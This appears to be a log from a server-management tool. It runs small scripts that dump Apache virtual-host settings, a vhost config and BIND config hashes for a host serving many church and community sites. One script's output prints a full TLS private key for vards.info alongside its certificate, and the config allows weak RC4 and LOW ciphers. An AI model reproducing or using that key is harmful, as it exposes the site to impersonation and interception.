         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
                 alias www.exjw.org.uk
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:2)
                 alias www.persianchurch.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:23)
                 alias www.exjw.org.uk
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:23)
                 alias www.persianchurch.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-08 12:22:18: 

PUT: /tmp/pkp828517

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/vards_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-08 12:22:18: 

chmod 755 /tmp/pkp828517; /tmp/pkp828517; rm /tmp/pkp828517

2026-04-08 12:22:18: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/vards_www_info.conf	1329

<VirtualHost *:80>
    ServerName	vards.info
    ServerAlias	www.vards.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/vards_www
    <Directory /var/www/vards_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vards/www_access.log combined
    ErrorLog	/var/log/apache2/vards/www_error.log
    SetEnv pkp_uid	57
    SetEnv pkp_owner	vards
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	vards.info
    ServerAlias	www.vards.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/5c147bca0a238ba09c5472db1d5debd9.crt
    DocumentRoot	/var/www/vards_www
    <Directory /var/www/vards_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vards/www_secure_access.log combined
    ErrorLog	/var/log/apache2/vards/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-04-08 12:22:18: 

PUT: /tmp/pkp692703

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/5c147bca0a238ba09c5472db1d5debd9.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-08 12:22:18: 

chmod 755 /tmp/pkp692703; /tmp/pkp692703; rm /tmp/pkp692703

2026-04-08 12:22:18: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/5c147bca0a238ba09c5472db1d5debd9.crt	5356
d4:cc:4e:61:30:a3:aa:a1:e7:41:61:c7:de:fe:16:cf

-----BEGIN CERTIFICATE-----
MIIE/zCCA+egAwIBAgISBVJBE1S3nvCIUUhO1n2EbZzHMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNDA4MTEyMzQ1WhcNMjYwNzA3MTEyMzQ0WjAVMRMwEQYDVQQD
Ewp2YXJkcy5pbmZvMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAr7wc
RHuytPhc38X5Ga0/kdQqjYRbvZgk5JRT6rVtcUe1Q+MTVQfiiVMc9D8z7vxZfqho
pVTap6jxonv6Dz4dCFleVZ44JgZxqqJQMelkq+Zgx73HABvOc+wTscXgqo8le5Zz
dG3oBw4HU1Uj658znFOokXjsBqieQKdzhmDjALJzfNP2d1rqa8DUKkD4LiVMY5Wu
oPyO0tVEk/Eh0ORVxC+AKR4O8nmGEJ806TwaoEMw9BvvXRDbof9i9gSt17Ea1dZV
hra7X+s1owCpJ6DMR/oP2IXsL9GyUm3HRch0aOB8ulOpHHwQ0JnRyHm3qUdfQzN3
QCpXl9YUgpNvd2sSPQIDAQABo4ICKTCCAiUwDgYDVR0PAQH/BAQDAgWgMBMGA1Ud
JQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFPfoiTPF8cYA
WfxD2l3BtQMzNlUeMB8GA1UdIwQYMBaAFOernw8sM6BT015PeMiyhA471pIzMDMG
CCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMy5pLmxlbmNyLm9y
Zy8wJQYDVR0RBB4wHIIKdmFyZHMuaW5mb4IOd3d3LnZhcmRzLmluZm8wEwYDVR0g
BAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3IxMy5jLmxl
bmNyLm9yZy83Mi5jcmwwggENBgorBgEEAdZ5AgQCBIH+BIH7APkAdwCUTkOH+uzB
74HzGSQmqBhlAcfTXzgCAT9yZ31VNy4Z2AAAAZ1tCxNPAAAEAwBIMEYCIQDi0H5/
4ZiVbINuoKCWe+XgHkt91rihKwCqaG5wVnTjDAIhAIvUyA0xq8bK9QuE1atfE3eI
WmuGwRG/tI8htTKtk8bQAH4AqCbL4wrGNRJGUz/gZfFPGdluGQgTxB3ZbXkAsxI8
VScAAAGdbQsWsQAIAAAFAAYYfJMEAwBHMEUCICPxOXgPelaRw8rSuxYFGwWgSxX6
zm6GgONaVG66VxarAiEAxFIaFkKaii7TkMrzsIAca61n3kaziKVDCU5FbluET1Ew
DQYJKoZIhvcNAQELBQADggEBAErO+QNlHuibJpgRJSar1Z2Vr3J9/oQXP3/1/Pf7
6x+WmWhJ7Qo3tYVSkxKucLjU1F2cvf0Z4481qlin8KioJERyI4MzxMEv4TFCc/uV
baDMsCfK+h91WfvbdY+uBaUPuHzsnFzDgiBJMows32YlZqq4lZkAKajR/Al+yTAc
amelNn+jbA5gRv9ikI25MnhaG00W0drH44KBqVb45iRzc7YrZM1WHuc264bqPQzZ
j5xbudBjoNlUy9G0hij9sqdLiyLOLfzOkA9lIAYHw3H/6XJ38aMbx/h6kTDAtgv/
TqaDUEbJu63purA/e8qLFQZ1BZuG28W/D/n+wDY/TjrNZrI=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCvvBxEe7K0+Fzf
xfkZrT+R1CqNhFu9mCTklFPqtW1xR7VD4xNVB+KJUxz0PzPu/Fl+qGilVNqnqPGi
e/oPPh0IWV5VnjgmBnGqolAx6WSr5mDHvccAG85z7BOxxeCqjyV7lnN0begHDgdT
VSPrnzOcU6iReOwGqJ5Ap3OGYOMAsnN80/Z3WuprwNQqQPguJUxjla6g/I7S1UST
8SHQ5FXEL4ApHg7yeYYQnzTpPBqgQzD0G+9dENuh/2L2BK3XsRrV1lWGtrtf6zWj
AKknoMxH+g/Yhewv0bJSbcdFyHRo4Hy6U6kcfBDQmdHIebepR19DM3dAKleX1hSC
k293axI9AgMBAAECggEAE6ZVAtNSCCo9OEhKsjRNB2FR4MEMAQciGOz89SGUOzZp
bk3Vu4xGKFTCyAzJIc/VsfPiv5ndWSHq4uA59bpcRLK5eZlXbekKjKnZjbsrJo18
BNmThs+VJiEfkqEtneSjrE4GWt5vM1q+NvMuMQp8Gt6/2oRK3/O6vj/7CuuKdmlO
SdLfF2c4Eq7f7xBHatNe4lmoZSP2LGd7eZYx/VYomS8iSTJUnutoFIG5Y+faOpDX
9pFzpxS9QHgL+Q+RnmIdoZyPKUA5KLwTJirouQOfdtqalDhHFJpG0ZRHfy43YiV/
MaMJgaHOXoCr6ZfEvCqGJSzcFaJA092Y+/S4CmnkAQKBgQDb0WTNgMiWlBBFntwj
zMrrAbp/yRqIN50UvTA7n8LutsALX5rvK4ut97x3gfgulwVvcaHGB6fjQuzk8BXS
vjXE+M+HdmWtFv+piXKpwp9S5vEuOCCM9pROMa+VigG3v0hwyOricZDT5o6P5P9w
vReME84krYkrzHIzOxRLhrodCQKBgQDMqShrra/4Yy9Y9QdCGxtwRitL82YaKChC
zk+WI25UoUmbEFZ79eFNeusyliyC3l/DfI8LaT04eAo7eB1vSxkZXcnaKF+BHbKt
jwCfHiWCg+WeCNH5C1u8BzPQ6fhBHxU0f04ds3eI68Eco6DnNFFIBEBjQRSl/cA3
lUVtwI3MlQKBgEMOJUnrN0V39V7Hjy/8kQoPhOzmVAmprWleLRCDM9vOM9dEWucK
yZlQMVXjd+n+d9H/P/JA854IFGviMUYQcCaeH/Ca1Xlvwp3dJ/VRQXjwqjIHPSbD
MYqI7Z8Ycl2zJE4DfGOHcT6y3lpW6PVjOYOppwDZTzblLxEhvJctiijBAoGBAKb8
qodZO0g+nWZG3vo4JeYwyqj42ukitN71eQh2tlIFG4qTBQ21rHRMg9VNpNnO2XIm
koxr/NCzWR32voWNT9hbpxQCdxJhieWE1av+q/pW5iZQ6gn7E4lSkxu1m6J+2w1v
hexD/5dPTMyyUdnz3RIWrfaOJmvdpFV1zSVkxA4VAoGBANsNXEAVVFqzVjBH6mGV
kSjAx+ORSdMVHBBHhGlbnuqDLXcIoWgCNjsqqEBislm5GcrcOZ7ws66Ve50OEv53
iQ26pfPhbwG8le5sFXtBwVYRFCcHchSrhCkAEJwNRRykoAw6gLd96n/RohphIPFM
W/t/Ft6CRcL6Dc79ajEdYZS1
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-04-08 12:24:18: Establishing a connection
2026-04-08 12:24:18: 

PUT: /tmp/pkp195348

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-08 12:24:18: 

runuser -l bind -s /bin/bash -c '/tmp/pkp195348; rm /tmp/pkp195348'

2026-04-08 12:24:19: 


PHP Warning:  PHP Startup: xapian: Unable to initialize module
Module compiled with module API=20210902
PHP    compiled with module API=20220829
These options need to match
 in Unknown on line 0
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
